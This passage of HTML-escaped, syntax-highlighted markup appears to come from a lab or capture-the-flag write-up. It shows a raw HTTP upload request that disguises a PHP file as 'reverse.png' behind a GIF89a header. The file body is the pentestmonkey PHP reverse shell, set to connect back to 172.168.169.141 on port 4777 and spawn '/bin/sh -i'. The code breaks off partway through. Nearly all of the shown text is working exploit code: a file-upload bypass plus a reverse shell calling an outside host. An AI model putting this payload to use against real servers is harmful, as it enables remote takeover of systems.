class="nx"&gt;avif&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;webp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;apng&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;*/*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;application&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;signed&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;exchange&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;b3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Referer&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="mf"&gt;172.168&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;169.143&lt;/span&gt;&lt;span class="o"&gt;/?&lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;upload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Encoding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;gzip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;deflate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;br&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Language&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;zh&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;zh&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Cookie&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;PHPSESSID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mo"&gt;02&lt;/span&gt;&lt;span class="nx"&gt;c1kbpgina1jajknkhkj4d6o0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;keep&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;alive&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;------&lt;/span&gt;&lt;span class="nx"&gt;WebKitFormBoundary1vs6B8Q4tsVShuqH&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Disposition&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;form&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;file&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;reverse.png&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;image&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;png&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;GIF89a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// php-reverse-shell - A Reverse Shell implementation in PHP
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;set_time_limit&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$VERSION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;172.168.169.141&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// You have changed this
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4777&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// And this
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$chunk_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1400&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$write_a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$error_a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$shell&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;uname -a; w; id; /bin/sh -i&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$daemon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$debug&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Daemonise ourself if possible to avoid zombies later
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// pcntl_fork is hardly ever available, but will allow us to daemonise
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// our php process and avoid zombies. Worth a try...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;function_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pcntl_fork&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Fork and have the parent process exit
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$pid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;pcntl_fork&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pid&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ERROR: Can&amp;#39;t fork&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Parent exits
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Make the current process a session leader
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Will only succeed if we forked
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;posix_setsid&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Error: Can&amp;#39;t setsid()&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$daemon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;WARNING: Failed to daemonise. This is quite common and not fatal.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Change to a safe directory
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;chdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Remove any umask we inherited
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;umask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Do the reverse shell...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Open reverse connection
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fsockopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$errno&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$errstr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;$errstr&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="si"&gt;$errno&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Spawn shell process
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$descriptorspec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;pipe&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;r&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="c1"&gt;// stdin is a pipe that the child will read from
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;pipe&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="c1"&gt;// stdout is a pipe that the child will write to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;pipe&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// stderr is a pipe that the child will write to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;proc_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$shell&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$descriptorspec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;is_resource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$process&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
